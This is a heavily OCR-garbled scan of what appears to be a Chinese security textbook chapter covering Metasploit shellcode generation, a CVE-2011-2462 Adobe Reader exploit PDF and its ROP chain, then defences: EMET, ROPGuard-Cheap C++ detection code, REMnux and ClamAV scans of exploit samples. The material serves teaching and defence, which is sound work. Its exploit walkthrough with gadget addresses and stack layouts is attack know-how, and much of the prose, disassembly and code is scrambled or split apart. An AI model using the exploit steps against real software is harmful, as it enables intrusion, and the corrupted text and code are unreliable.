al succeeded with size 227 (iteration=1)

Crimetasploitiappshprotmefizruby mefpayload windowvs/messagehox T='Hello' TITL
E='ME3' R > E.hin

Cihmetasploit appshprotmsLs ::=-I

A ] Metasploit 4= J% 2 ARG
LAz ITRARZE shellcode
{8 H Metasploit, ] LURHEFAEEH H (1) H )42 % shellcode .  EiNias
T EE, —IHRIC R EHCoE shellcode FLELLF, SFRIAR T
R J5 B T HRR M.
A J% shellcode 75 L1 F Metasploit Bff 7 ] msfpayload 1. H .
o msfpayload
metasploit\apps\pro\msf3\msfpayload

M Metasploit Console H' ] LA s> #. File -~ New Tab — System
Console ] JF R Gt 24T
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[~ System Console

File Edit View Help
B-#¢3 hh| 6@
Metazploit Pro Conzo.. System GConsole

1 TEXT='Hello' TITLE='MES' R > =.

Ready 20117

A f#F msfpayload 4 1% Windows 3135 iz 17 [1Y] shellcode

v x.bin

Segooo : 00000000 cld
$ego0o0: 00000001 call loc 8F
Segooo : 00000006 pusha

$eg00o0 : 00000007 mov ebp, esp

$egoo0o0 : 00000009 xor edx, edx

Segoo0o : 0000000B mov edx, fs:[edx+306h]
Segooo0 : 000VVOOF mov edx, [edx+0Ch]
Segooo : 00000012 mov edx, [edx+14h]

5egoo0:00000015
$ego0o:00000015 loc 15:

$egoo0o0 : 00000015 mov esi, [edx+28h]
Segooo0:00000018 movzx ecx, word ptr [edx+26h]
$eg000:0000001C xor edi, edi

5eg0o0:000LVO1E
Segooo:0000001E loc_1E:

Segooo:0000VO1E xor eax, eax
Segoo0o : 00000020 lodsb
$eg000:00000021 cmp al, 61h ; 'a'
$eg000:00000023 jl short loc_27
$eg000: 00000025 sub al, 20h ; '

5eg0o00:00000027

Sego0o:00000027 loc 27:

$eg000:00000027 ror edi, @Dh
Seg000 : 0000002A add edi, eax
$eg000:0000002C loop loc_1E

Seg000 : 0000002E push edx

Segooo0 : 000000 2F push edi

segooo : 00000030 mov edx, [edx+1@h]
$egoo0o0: 00000033 mov eax, [edx+3Ch]
5egoovo : 00000036 add eax, edx




segooo:
Segooo:
Segooro:
segooro:
segooo:
Segooo:
Segooro:
segooro:
segooo:
Segooro:
Segooro:
5egooro:
segooro:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
segooo:
segooo:
Segooro:
Segooro:
segooo:

00000038
0000003B
0000003D
©0000O3F
00000041
00000042
00000045
00000048
0000004A
0000004A
0000004A
0000004C
0000004D
00000050
00000052
00000054
00000054
00000054
00000056
00000057
00000O5A
0000005C
00000O5E
00000060
00000063
00000066
00000068
00000069
0000006C
000VVO6E
00000072
00000075
00000077
0000OO7A
0000007C
00000080
00000081
00000082
00000083
00000084
00000085
00000086
00000088
00000088
00000088
00000089
00000089
00000089

mov
test
jz
add
push
mov
mov
add

loc 4A:
jecxz
dec
mov
add
xor

loc 54:
xor
lodsb
ror
add
cmp
jnz
add
cmp
jnz
pop
mov
add
mov
mov
add
mov
add
mov
pop
pop
popa
pop
pop
push
jmp

loc_88:
pop

loc_89:
pop

eax, [eax+78h]
eax, eax

short loc_89
eax, edx

eax

ecx, [eax+18h]
ebx, [eax+20h]
ebx, edx

short loc_88
ecx
esi,
esi,
edi,

[ebx+ecx*4]
edx
edi

eax, eax
edi, @Dh

edi, eax

al, ah

short loc_54
edi, [ebp-8]
edi, [ebp+24h]
short loc 4A
eax

ebx, [eax+24h]
ebx, edx

cX, [ebx+ecx*2]
ebx, [eax+1Ch]
ebx, edx

eax, [ebx+ecx*4]
eax, edx
[esp+24h], eax
ebx

ebx

ecx
edx

ecx
eax

eax

edi




segooo:
Segooo:
Segooro:
segooro:
segooo:
Segooo:
Segooro:
segooro:
segooo:
Segooro:
Segooro:
5egooro:
segooro:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:
segooo:
Segooro:
Segooro:
5egooro:

h

h
h
1

h
1

h
h
1

63h

61h ;
6Ch ;
63h ;

2Eh
65h

78h ;
65h ;

000008A pop
0000008B mov
0000008D jmp
0000OO8F
0000LO8F loc_8F:
0000008F pop
00000090 pus
00000092 lea
00000098 pus
00000099 pus
00VOOOSE cal
00000OA0 mov
000OOOA5 pus
000000AA cal
©0BOOAC cmp
00OOOOAE jl
000000BO cmp
000000B3 jnz
00000OB5 mov
00000OBA
0000VOBA loc BA:
000000BA
00000OBA pus
0©00000BC pus
000000BD cal
000000BD
00OVOOOBF db
000000C0o db
000000C1 db
000000C2 db
000000C3 db
000000C4 db
000000C5 db
000000C6 db
000000C7 db

0

edx
edx, [edx]
short loc_15

ebp

1

eax, [ebp+6B9h]
eax

876F8B31h

ebp

ebx, 56A2B5F0h
9DBD95A6h

ebp

al, 6

short loc_BA
bl, ©EGh

short loc BA
ebx, 6F721347h

ebx
ebp

000000C7 segbPO ends

E ) T B AR B R BIARES,  RZEE] DX shellcode i3t — 22 IR

PR .
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—/> ROP 1 sEBR 51+




NIHFATEL CVE-2011-2462 i, SréH—A5 3 % 8 44 Fid 1Y
ROP HJSEFR 5

1, JR A1 Metasploit 4 4N -2tk ) PDF S0
e Adobe Reader U3D Memory Corruption Vulnerability
http://www.rapid7.com/db/modules/exploit/windows/fileformat/adobe_re

[ Metasploit Pro Console

File Edit “iew Help

B-res hho0e

[*] Starting Metasploit Console...

1001 exploits - 624 auxiliary - 165 post

ZBZ payloads - 28 encoders - § nops

zfully loaded plugin: pro

Creating 'mwsf.pdf' file...
[+] msf.pdf stored at C:/Documents and Jettings/ Campers/.msfd/ local/msf.pdf
msf exploit| ) )i I
Feady 2580

A JH Metasploit 4 i, CVE-2011-2462 [ B AL

BRR, FATE OllyDbg W ASEH RS . SR, ¥ rt3d.dll i) ROP T
FEFI1EAT Z 0 i 7 508 int3 (0xCC)


http://www.rapid7.com/db/modules/exploit/windows/fileformat/adobe_reader_u3d
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5a Stirling — [rt3d.dIl] M=
Bt 2pLE REE #BE-HEhD BEQ  S0MW T - a8 x
D|(6d| 2| & [2=[@(Co[r=] pb]t |w]on| 400G CrlCuoe] "o o4] %] Sl
ADDRESS 00 01 02 03 04 05 06 07 08 09 0A OB OC 0D OE OF  0123456783ABCDEF &

01 64 00 68 EB 00 00 00 51 [E 50 1C 85 CO OF 95 _

CO C3 55 8B EC 51 8B 01 GA 01 8D 55 FF 52 51 FF sUBRQ. . .Z.RA.
50 10 8A 45 FF C3 C3 56 8B F1 8B 46 14 85 CO 74 P.R./7VE. - ¢
OE FF 74 24 08 FF 76 18 b6 FF D0 84 CO 74 0C 8B

46 0C 23 44 24 08 F7 D8 1B CO 40 5E C2 04 00 bh M0, - 4@y

8B EC 83 EC 24 8B 40 10 OF E7 51 04 8B 45 0C 8B %[ & .08,
00 8B 14 90 6B D2 OC 03 b 08 b6 57 52 OF BV 51 24 UVHR. #[J

Yy o0 14 an nC D7 no oD DS oo™ oD nd oo e BERoNo + 1.+ |
OA014CABS | | [EF (2405784 Bytes |SHIF1 D

A ¥4 re3d.dll [ 0014CAB9 17 & 24N 0xCC

F Adobe Reader ] HiX~ PDF XfF, OllyDbg < H a4 H, FATHT LA
BE— MRAER BRI .

5, BATE 0xCC 1% 5 N 0xFF.

222FCABS| 51 FUSH ECK

288FCABY| FFE@ 1C CALL DWORD FPTR DS:[ER=+1C] 4
Z22FCAEBC| 3508 TEST ER=.ERA

Z33FCAEBE| BF35CAa SETHE AL

Z233FCACL| C3 RETH

ZEBEFCACZ| 55 FUSH _EEF

222FCACZ| BBEC MOU EBP, ESP

2223FCACE| &51 PUSH _ECK

223FCACS| gBB1 MU EAX,OWORD PTR D5:[ECK]

228FCACES| &R B1 FUSH 1

233FCACH| 8055 FF LEA EDH,OWORD PTR 55:[EBF-11

233FCACD| 52 FPUSH ED:

ZEB8FCACE| 51 FUSH ECX

222FCACF| FF5B 18 CALL DWORD PTR DS:[ERX+10]

222FCADZ| 2A45 FF MOu AL,BYTE PTR S5:[EBP-11

2228FCADE| C9 LERLE =5
288FCADS| C3 RETH E]
Z2SFCADT| 56 FUSH ESI B
233FCADS| SBF1 MOU ESI,ECK

Z233FCADH| SB45 14 MOU ERX, OWORD PTR DS:[ESI+141

ZE2EFCADD| S5CH TEST ERR.EAX

cooCrnncl. . 2?4 Al IC CUADT w2 200CHNCC

A rt3d.dll 9 1) CALL DWORD PTR DS:[EAX+1C]

Wiz B, ROP (AR BIZmFE) 2t —2eLliRE] (ret 54 ) 44
FIARHS Fr Be P ok, Mmscil = IEHIEERZ 4. /£ ROP H, $<L1T
FARCTE R B AE AR H, I8 TS b M i #E R AT Bk % R IE 4T IR LE AT . fia] H
Ked, WA ret fA8 jmp K AT kS .

CVE-2011-2462 ', 4 EAX=0C0COCOC i}, =HAT FHrZiE,



40EEECEF| 94 ¥CHE EAX,ESP ErETE
A0SEECFE| CBEE @2 SHE EL, 2 ~laistiana (FP
Y BE1SEESE
AREEECFE| ZECH OR AL, AL
4QSEECFE| BF FOF EDI ECx @cacacac
o E0 BEzCCTEE
EE POF ESI =
SN ey Benicaic
SBEBECET| 3 RETH SEgi S
A0GEECFS| BE4ded B4 HOL EAY, DWORD FTR S5:[CESF+4] Bl
A0SEECFC| 3Bd4d=d B2 CHE ERH.DWORD FTR S8:[ESF+E]
4QSAE0EE| BF94CA SETE AL Bl
402EE0E2| ©2 BETH _
iggggggg VEE AF230186 gﬂgHlEEgnUEG.uprv_Free_S_Eu EIF 4AZBECFE icucnt
402@E08A| SBEC MOy EEF,ESP L@ EZF BE23 32bit
F1 Ot GolE Z2bit
40EEE0EC| E3 FUSH EES i
A B S5 BE2D ZEbit
405E5060| EE PUSH EST B b
40EEE0GE| BETE @ HOL ESI,OWORD FTR S5:[EEF+&] £l e ealk
A0SEE011| ZE0E ¥OR EEX.EEX e RS e
fShy B | e i3
w LCUCn, - S w
4GSEED1T| Z9EE 1@ CHP OWORD FTR DS:CESI+i@1, EEM 0| ik ERROR
S s e R e (o
H + [ =)
4RSEE01F | v 74 ZE JE SHORT icucnuse. JASREDEF 3 10 SOty B e
40EEE021| 834D BE FF OF DWORD FTR S&: [EEF+21, FFFFEFEF e
S5T2 empty —-H.8
5T4 ennty a.8

A JHiT ROP Z/TAHY B

/] A

4A806CEF 94 XCHG EAX,ESP
4A806CFO  COEB 02 SHR BL,2
4A806CF3 32C0 XOR AL, AL
4A806CF5 5F POP EDI
4A806CF6 5E POP ESI
4A806CF7 c3 RETN

/]

©COCOCOC  @COCPCOC POP EDI
PCOCOC10  @COCPCOC POP ESI
PCOCOC14  4A806F29 TF— Bk Hix

4A806CEF [t XCHG EAX,ESP {#15 ESP=0C0C0CO0C, %R /5 &M%k POP
8%, mJEEkEE 2 4A806F29., M, RETN %A IR [0l J5 46 1 A
bk, T ABkE R TR AR



/] A

AASO6F29  SF POP EDI

AASO6F2A  SE POP ESI

AA8O6F2B 5D POP EBP

AA8O6F2C  C2 1400 RETN 14

/]

@COCOC18  4A8AGO0O POP EDI
@COCOC1C  4A802196 POP ESI
0COCOC20  4A801F99 POP EBP
PCOCOC24  4A806F29 T — kL HFr

R[] 4A806F29 2 J&, X j& 3 4k POP 54, #: FKHAT RETN 14,
BEFE 2 H br 4A806F29 Z Ji, XaAT 17— [FFE A

X EEARAG 1 H I 2 0 VR B A AR AR 1

R A BRI IE B ANBEE, oD N XA T PR

4A8063A5
4A8063A6
4A802196
4A802198
4A801F90
4A801F91

59
c3
8901
c3
58
c3

POP ECX

RETN

MOV DWORD PTR DS:[ECX],EAX

RETN

POP EAX ; <&KERNEL32.CreateFileA>
RETN




FH RETN Bk# 3] CALL EAX I, #tn] LLiIFH CreateFileA.

IR AL N B B s, E B SR B R B DA SR AT B
At ROP A] DLt & — 10 H I H55 .



5.2 H EMET Wl %% < ROP AL

5.2.1 f4 & EMET

EMET 4 %%~ Enhanced Mitigation Experience Toolkit (358 /456 T.
H) , BMEBEAN KRR FAEME TR, 3.0 RZArRAS, H
TR DRI B 2L, N 3.5 RROTAB TN 1 — L3 i) ¢
6 11 BRI T e o

HUERIPE (2013/05/10) , EMET HIBCHTRAS A 4.0B.
¢ Introducing EMET v4 Beta

http://blogs.technet.com/b/srd/archive/2013/04/18/introducing-emet-v4-
beta.aspx

EMET b & B — /N IhEe 2 3.5 i P 7E B This JEmt b3 i1 f
ROP (Anti-ROP) L.

B3 EFRNMNEENGL, WERERERSETHERINEITE T ASLR,
DEP (Exec-Shield) ZFZ4HLH|, KIAEA#HHBEFE, ROP IEHK
Bz B EAR, 11 EMET 1E 2 f 752 H 3528 s ROP ML H) T E .

5.2.2 Anti-ROP )3 iT3R1G 1 M2

EMET 1] Anti-ROP 58 7EBAR 2012 FE58 I F BN 2245 K FE«T5
Mg 22> (BlueHat Prize) H3k%%,

¢ BlueHat Prize

http://www.microsoft.com/security/bluehatprize/

XIUKRFERE | B2, w4 20 130, WES5 HEIL, FE1
JiE TG, MIRIM T A HHAS ROP K, 1 Hax 2677 ZEHFE & 5L
M.


http://blogs.technet.com/b/srd/archive/2013/04/18/introducing-emet-v4-beta.aspx
http://www.microsoft.com/security/bluehatprize/

FIRBEBER T ROCE NI RATEM b, KA MR E— € Zi— 1L
¢ kBouncer: Efficient and Transparent ROP Mitigation
http://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf

¢ ROPGuard - runtime prevention of return-oriented programming
attacks

http://ifsec.blogspot.jp/2012/08/my-bluehat-prize-entry-ropguard-
runtime.html

e BlueHat Prize Submission:/ROP

http://www.vdalabs.com/tools/DeMott_BlueHat_Submission.pdf

5.2.3 el Ry 1k Bk
“Ura] LR N R P AN 28T iR B, IXANME R WEIE ) R, R
WA RN AR LR .. ZeTFAIM4% K T ASLR. Exec-

Shield (DEP) . StackGuard 5% #L#, {HEMFULL, B2 TCiER 48
Fr A IR o

S ATORM TR HARE T T IR A

o PRI R P AN 52 & e TR 1) 52 1

o WA A eI K4
YE NIRRT R 2 —H“ROPGuard - runtime prevention of return-
oriented programming attacks” NI THE H 7 —FhAEH S H BN X ROP 1)
Tk
ROPGuard f&] # K i sl /& — Fi S & “RETN ik [71 1 H b A5 5 FH X B
CALL” (B CALL-RETN PLPCPE) HIHLH] XA 7 EARH i 8, (HZ& A
Bems 170 RS I Return-into-libc 1 ROP X i .

HAVHE, CALL ARRIRH TR, MAETRFINERE, Rt


http://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf
http://ifsec.blogspot.jp/2012/08/my-bluehat-prize-entry-ropguard-runtime.html
http://www.vdalabs.com/tools/DeMott_BlueHat_Submission.pdf

) #&AT RETN, T-FFE45 R RETN Fri [BlF HAstdl, Niz
A& CALL 84 W) N —4248%

SR, 1F Return-into-libc Wi, RETN <>Bk#s 2k E K171k, 1 ROP
e g T AR 2 10 RETN, X SESSFHHI“RETN J A 2R [H
CALL fF—%&$8 27 MTE N

H, XA RAFRAE T 67E CALL M RETN HIVCEE G R R
W, CASEAS I ROP I Return-into-libe i o

498, ESEI B AR Z F B AR AR, Ean N T L,
o (EAT 2 I a] i FH AR B 3]
o FEW—EHETHE
o« BRLZBH
5.2.4 JiE R INE AR AR
ROPGuard B T 775240, KA T AN IR o
R UL N EIRG RIS, v TETARBHR g, %47 GitHub I
72Ix:FET~/|\FEﬁ4JcH)§<, Ag T — L TUR BTSSR A] DS A X AN
¢ ROPGuard-Cheap

https://github.com/kenjiaiko/ropguard_cheap

Az IR A2 AH FH ROPGuard-Cheap RiFHAT R . 2998, RHERMEE
A, REfREEE—a, fEEMRY, load_rg.exe 144 MY
ropguard.exe, T ropguard.dll I i44E ropguarddil.dil.
THFNRE — TP,

XA T AZET DLL FEAKRORI HAR#E R, &6
chap05\ropguard_cheap\Release 1 [1JiX P4 /> 3044


https://github.com/kenjiaiko/ropguard_cheap

e load_rg.exe (ropguard.exe)
¢ ropguard.dll (ropguarddil.dil)

load_rg.exe SE_E R 2 —AMN#Eidy, HIEKXT Anti-ROP HZARARTE
ropguard.dll H7,

Z:ji7 %Tﬁﬁy\’ ﬁiﬂ\]i@%flﬁﬂ%%*ﬁ load_rg.exeo

15 KZH VC++2010 T HF ropguard\ropguard.sln (4. XA TR AL 5
PLRSCf CJEARES W, chapOS\ropguard_cheap, AN BSIEARES)

e main.cpp (load_rg\main.cpp)
e createprocess.cpp (common\createprocess.cpp)
e patchentrypoint.cpp (common\patchentrypoint.cpp)
¢ debug.cpp (common\debug.cpp)
HrH main.cpp FEAE main BRELCL K AHRE E, EMDIE 2 NS+
AREUHERE ID B m] AT SO AR, AR5 1) H AR BERETE A
DLL (ropguard.dll) -
WRIESHAIAFE, 27078 T E A s
e i#2 ID : /] GuardExistingProcess
o AT X515 : Y CreateNewGuardedProcess
XL AL T createprocess.cpp H,  AEIX AN SO HILEL ST THIIE 4
e [a] HAr#EAEIEAN DLL

o 31¥F CreateProcessInternalW, iliHFE%E (=247 (AN
CREATE_SUSPENDED #r &)

CreateProcessInternalW HJ%y)f T DLL HRJIZ 45, N#Eies 3 A H



B AN, 1EKRFKIFERH#HIN—F patchentrypoint.cpp, 1X/MEF HHY)
PatchEntryPoint bR £ AT DI HAR p& E A I IS SO SETE S (FB

FE) , HMZ%AF DLL 7 A58 .

5.2.5 DLL W2 724

BT RIRANTREE DLL 5 EFENEHE,

i K% % chap05\ropguard_cheap\ropguard ' ] dllmain.cpp, iX BT T
ROPGuard 51 5€ X UA K 4R A B . F] ReadROPSettings i HXiC &,
H PatchFunctions 25 7% BREFT 4 T -

i FATTN WinExec BREFT#N T, Hah 2K WinExec 7k & #epl

jmp 84 .

v kernel32:WinExec (74N T 7))

7C8623AD > 8BFF MOV EDI, EDI
7C8623AF 55 PUSH EBP
7C8623B0 8BEC MOV EBP, ESP
7C8623B2 83EC 54 SUB ESP,54
7C8623B5 53 PUSH EBX

FAPRIF KA 5 AT ITEON jmp 6 FF

Vv kernel32:WinExec (FJ74M T J5)

7C8623AD >-E9 4EDC2D84 JMP ©0B40000
7C8623B2 83EC 54 SUB ESP,54
7C8623B5 53 PUSH EBX




T jmp $82 G 5 A7, HILR BT LR AR N E S % .
e MOV EDLEDI
e PUSH EBP
e MOV EBP,ESP

T R A2 W B B IMP 00B40000, X FE—3K, 41HH WinExec
B, 27 Bkfe 3] 00B40000.

M4k FATEF 00B40000 [R5 24 .

// ©0B40000

00B40000  81EC 04000000 SUB ESP,4

00B40006 60 PUSHAD

00B40007 54 PUSH ESP

00B40008 68 F876D329 PUSH 29D376F8

00B4000D E8 7E344COF CALL ropguard.10003490
00B40012 81C4 24000000 ADD ESP,24

00B40018 8BFF MOV EDI, EDI

00B4001A 55 PUSH EBP

00B4001B 8BEC MOV EBP, ESP

00B4001D -ES 9023D27B JMP kernel32.7C8623B2

% J& Y] JMP kernel32.7C8623B2 £>#k%% 1| WinExec J13k ] jmp 84 )5
e

MM 4% jmp 4528 d s FIR e R4, A2 30 2] 7 00B40018 J5 i -
e MOV EDLEDI
e PUSH EBP

e MOV EBP,ESP



W, FATETIKE 7 JEAM WinExec 224 .

CALL ropguard.10003490 & — N HAIWriZ 4, HK AW WinExec &5 7E
ROP g4y, Witeih, XBEIAH T - ME FERF.

NERBETIHAN T 25, SJXE R MO %, st Balisfria s
TR

5.2.6 CALL-RETN k%
BRATKE — BB CALL-RETN & 7 (JEACHE I

chap05\ropguard_cheap\common) -

Vv ropcheck.cpp

// ropcheck.cpp

#tinclude <stdio.h>
#tinclude <windows.h>

#include "ropsettings.h"
#include "debug.h"

#include <iostream>
#include <fstream>
#include <string>

#include <sstream>

using namespace std;

void ReportPossibleROP(string &report)
{
string messageboxtext;
messageboxtext = ""
"ROPGuard has detected a possible threat.\n"
"Problem details:\n\n" + report;
if(MessageBoxA(GetForegroundWindow(),
messageboxtext.c_str(), "ROPGuard", MB_OKCANCEL) == IDOK)

{
}

ExitProcess(1);




int PrecededByCall(unsigned char *address)

{
if(*(address-5) == OXE8)
return 1; // ROPHi & TF2F, FECheckReturnAddressH ifiH]
return 0;
}

int CheckReturnAddress(
DWORD returnAddress, DWORD functionAddress, DWORD *registers)

{
if(!PrecededByCall((unsigned char *)returnAddress)){
stringstream errorreport; // M CheckReturnAddress
errorreport << "Return address not preceded by call.\n";
errorreport << "Return address: " << std::hex << returnAddress;
ReportPossibleROP(errorreport.str());
return 0;
}
return 1;
}

void _ stdcall ROPCheck(
unsigned long functionAddress, unsigned long *registers)

{
if(!protectionEnabled)

return;

unsigned long framePointer
unsigned long stackPointer

registers[2];
registers[3];

int i;

int numFunctions = GetNumGuardedFunctions();
ROPGuardedFunction *guardedFunctions = GetGuardedFunctions();
ROPGuardedFunction *currentFunction = NULL;

for(i=0; i < numFunctions; i++){

if(guardedFunctions[i].originalAddress == functionAddress){
currentFunction = &(guardedFunctions[i]);
break;
}
}
if(!currentFunction){
return;
}

DWORD returnAddress = *((DWORD *)
(stackPointer + GetROPSettings()->preserveStack));
if(!CheckReturnAddress(returnAddress, functionAddress, registers))
return;

/




/] FESCAEA IR A A A

return;

HVCgmiE S RE R call TR FEHH 5 N7

00469127 |. 3D 21210000 CMP EAX,2121
0046912C |. 72 OE JB SHORT 0046913C

0046912E E8 S5DFF4990  CALL 90909090 // 557
00469133 20 NOP

00469134 90 NOP

k2 ES + A, —3t 5 AN,

11X 5 N1 H E 2 LA E8 k1, Atk PrecededByCall H <= | ik
o] H brthik [0 67 5 AN 7RSO8 E8”, MR ENIRE] 1, ARG FIIT
BCH call 684, J& T 1B A BIIR [E

NS ] H SRk A AT 5 AN AR B8, M T REAZ ROP, [A] ik 1]
0, JfE7~ ReportPossibleROP 7H 2.,

5.2.7 ATy 1R A

XA AT A B M TR SR B 5 R A, BROAIFAEITE I call #R2 5 47
o

v 2 AT B

00469127 |. 3D 21210000 CMP EAX,2121



0046912C |. 72 ©E JB SHORT 0046913C
0046912F FFDO CALL EAX WA 247y
00469130 90 NOP

00469131 90 NOP

v &G 7 AT

00469127 3D 21210000 CMP EAX,2121

0046912C 72 OE JB SHORT ©046913C
0046912E  9A 90909090 9090 CALL FAR 9090:90909090
00469135 90 NOP 7N B
00469136 90 NOP

BPTERA], A RERITA AR call 154 BLRAF TR 1E

Fbtmid, G call HFEEE 3 AN FT,

AR, FRATTE AT AR 2 24 B 7E Hhl 2 15 5 call 19 H bxdihlk. 040
CALL EAX I}, AJLLfETE EAX A1 EIP (B 25—

5.2.8 KM AEME
(% 7 CALL-RETN ULECHEZAb, B4 DA E R E RV ?

e, Wi nr ARHUR VG, JF A& esp. ebp FFAFA% HU{H 2
BT ZUEN, WA Rn R I .

int CheckStackPointer(unsigned long stackPtr)
{

unsigned long stackBottom, stackTop;
GetStackInfo(&stackBottom, &stackTop);

if((stackPtr < stackBottom) || (stackTop < stackPtr)){




stringstream errorreport;
errorreport << "Stack pointer is ";
errorreport << "outside of stack. Stack address:\n";
errorreport << std::hex << stackPtr;
ReportPossibleROP(errorreport.str());

return 0;

}

return 1;

T AR R T DASREH A B BRAT R BRIk, JFA & esp &AL T30
N XAZHEME LU T2 ebp.

BeAt, R HKIZ R T RALT D HEKHT, L ebp AR EKT
esp, FATH AL IX — St i A

]

int CheckStackFrames(DWORD *stackPtr, DWORD *framePtr)

{
DWORD *returnAddress;
DWORD *newFramePtr;
DWORD *originalFramePtr;

unsigned long stackBottom, stackTop;
GetStackInfo(&stackBottom, &stackTop);

originalFramePtr = framePtr;

// frame pointer must point to the stack
if(((unsigned long)framePtr < stackBottom) ||
((unsigned long)framePtr > stackTop))

{
stringstream errorreport;
errorreport << "Return address not ";
errorreport << "preceded by call. Frame pointer:\n";
errorreport << std::hex << (unsigned long)framePtr;
ReportPossibleROP(errorreport.str());
return 0;




if(((unsigned long)framePtr) < ((unsigned long)stackPtr)){

stringstream errorreport;

errorreport << "Frame pointer is above stack pointer on stack";
errorreport << " Stack pointer: “;
errorreport << std::hex << (unsigned long)stackPtr;
errorreport << " Frame pointer: ";
errorreport << std::hex << (unsigned long)framePtr;
ReportPossibleROP(errorreport.str());

return 0;

T4k, RAAIR A H bR il A B Y, DR R] BLE L ebp HE
i, B E—AAE B AN R A E bRl

XF T VERE R AR BRI (stack trace) o JEHRIREE, FATAT ARG E
FH A ebp 22 AL T AR AU HETEEE A -

for(unsigned int i=0; i<GetROPSettings()->maxStackFrames; i++){
newFramePtr = (DWORD *)(*(framePtr));
returnAddress = (DWORD *)(*(framePtr+l));

if(!returnAddress) break;

if(!PrecededByCall((unsigned char *)returnAddress)) {

stringstream errorreport;

errorreport << "Return address not preceded by call.";
errorreport << " Return address: ";
errorreport << std::hex << (unsigned long)

returnAddress;

errorreport << Frame pointer: ";
errorreport << std::hex << (unsigned long)framePtr;
errorreport << " Original frame pointer: ";
errorreport << std::hex << (unsigned long)

originalFramePtr;
ReportPossibleROP(errorreport.str());
return 0;
}

if(((unsigned long)newFramePtr < stackBottom) ||
((unsigned long)newFramePtr > stackTop))




stringstream errorreport;

errorreport << "Frame pointer is outside of stack.";
errorreport << Frame pointer: ";
errorreport << std::hex << (unsigned long)framePtr;

errorreport << " Original frame pointer: ";
errorreport << std::hex << (unsigned long)

originalFramePtr;
ReportPossibleROP(errorreport.str());
return 0;
}

if((unsigned long)newFramePtr <= (unsigned long)framePtr){
stringstream errorreport;
errorreport << "Next frame pointer is not ";
errorreport << "below the previous one on stack.";
errorreport << Frame pointer: ";
errorreport << std::hex << (unsigned long)framePtr;
errorreport << " Original frame pointer: ";
errorreport << std::hex << (unsigned long)
originalFramePtr;
ReportPossibleROP(errorreport.str());

return 0;

framePtr = newFramePtr;

}

return 1;

FIEARATE T L ROP fa & HIH] 7

RTEITVEMPIN R, KEAT LA — 3% 3R AR . M DL
o BEAk, REWAILIZE O S — L1 QR 512 7 .



5.3 F REMnux 77 M7 % & #4-
5.3.1 {14 & REMnux

WA BAT 4 T R TR B FR, 832 P RN IRE — B BT
Fo

REMnux & —MH T oS B8 iEE &4, # T Ubuntu FF &k, +
B HF1E VMware %5 EfIIA S T I181T .

KAl LM sourceforge.net N %% 551 o
e REMnux
http://zeltser.com/remnux/

http://sourceforge.net/projects/remnux/files/version3/

remnux@remnux: ~
File Edit Tabs Help
remnux@remnux:~$ i

ORI ANEETN B AL, CrkG HRLTEL, (=R T



http://zeltser.com/remnux/
http://sourceforge.net/projects/remnux/files/version3/

A 1f VMware |"iz17 REMnux
FH 7 A VB RS0 R B o

e HIF4: remnux

o ¥f5: malware

T X &2 — 3T Ubuntu B R4, KL root 1317 F2 F it 75 E A H

sudo 7% . Root A58t /& malware.

5.3.2 HUFRHEEE EE
S RATTR T B — N 3% = A R B
BARFRIEIE NI+, H root i217 freshclam 74 .

v E47

$ sudo freshclam

[sudo] password for remnux: malware #iAZfY

ClamAV update process started at Sat May 19 13:54:14 2012

A

WARNING: Incremental update failed, trying to download daily.cvd
Downloading daily.cvd [100%]

Downloading bytecode-158.cdiff [100%]

A

Downloading bytecode-180.cdiff [100%]

H

5.3.3 HifH=
AT AR A
T3 AFJE /home/remnux HH — 4 MY jsunpackn B H &, FRATRITEAS



H 47— T 52 A5 .
A% H % 75 B AF A clamscan 17 %o

BT

$ clamscan jsunpackn/

jsunpackn/COPYING: OK
jsunpackn/INSTALL: OK

A
jsunpackn/rules: OK

jsunpackn/swf.py: OK
jsunpackn/urlattr.py:

Scanned files: 23
Infected files: 1
Data scanned: 0.46 MB

jsunpackn/rules.ascii:
jsunpackn/samples.tgz:

jsunpackn/CHANGELOG: OK

OK

OK

----------- SCAN SUMMARY -
Known viruses: 1217159
Engine version: 0.97.3
Scanned directories: 1

jsunpackn/INSTALL.spidermonkey: OK
jsunpackn/INSTALL.spidermonkey.shellcode: OK

Exploit.PDF-4897 FOUND K¥i

Data read: 2.30 MB (ratio 0.20:1)
Time: 3.824 sec (@ m 3 s)

FATAE jsunpackn E;T%EPT/\U” BT —ANEERMS, T

jsunpackn/samples.tgz
x86 1 Windows _| ]

’

:[':\,—_v‘zA

e n_n

2N Exploit.PDF-4897. REMnux AMY Befs
BAE, eI 4 Android % E AT,

%1l andE % A 44 i) DroidDream.

AN

$ clamscan DDream-444578756853741426-Super.apk
DDream-444578756853741426-Super.apk: Exploit.Andr.Lotoor-8 FOUND




——————————— SCAN SUMMARY -----------
Known viruses: 1217159

Engine version: 0.97.3

Scanned directories: ©

Scanned files: 1

Infected files: 1

Data scanned: 0.04 MB

Data read: 1.58 MB (ratio 0.03:1)
Time: 3.797 sec (@ m 3 s)

H1 T REMnux Je& & TR0 FER TAR, DR Teikhoet B s 2, =
O A A R A AR A



5.4 H] ClamAV 2% =& 84 AR R Bt
5.4.1 ClamAV [F{EE 4
FATHNAH I H) clamscan 7%, 2B P 2 GPL W3 HY S B A
ClamAV X% =2 8 AR B AT /T . an SR RO o 52 1Y
JRBEE IS, 7L — B XA R .

e ClamAV

http://www.clamav.net/

ClamAV FPRFAESCIF R RFEE TR, A LI BB J7 Wk n] BN 8080 o8
FRIRBRAS o

@ Clam AntiVirus

L C | @ www.clamav.net/lang/en/
| More stats. .
Latest Stable Release
Home Latest ClamAV® stable release is: 0.97.4
J Doc & Wiki Windows Antivirus - Immunet 3.0, powered by ClamAV (Learn more)

Al clamAy ClamaAY Virus Databases:

g ok main.cvd ver. 54 released on 11 Oct 2011 10:34 :0400 (sig count: 1044387)
Download daily. cvd ver. 14991 released on 01 Jun 2012 14:10 :0400 (sig count: 201147)
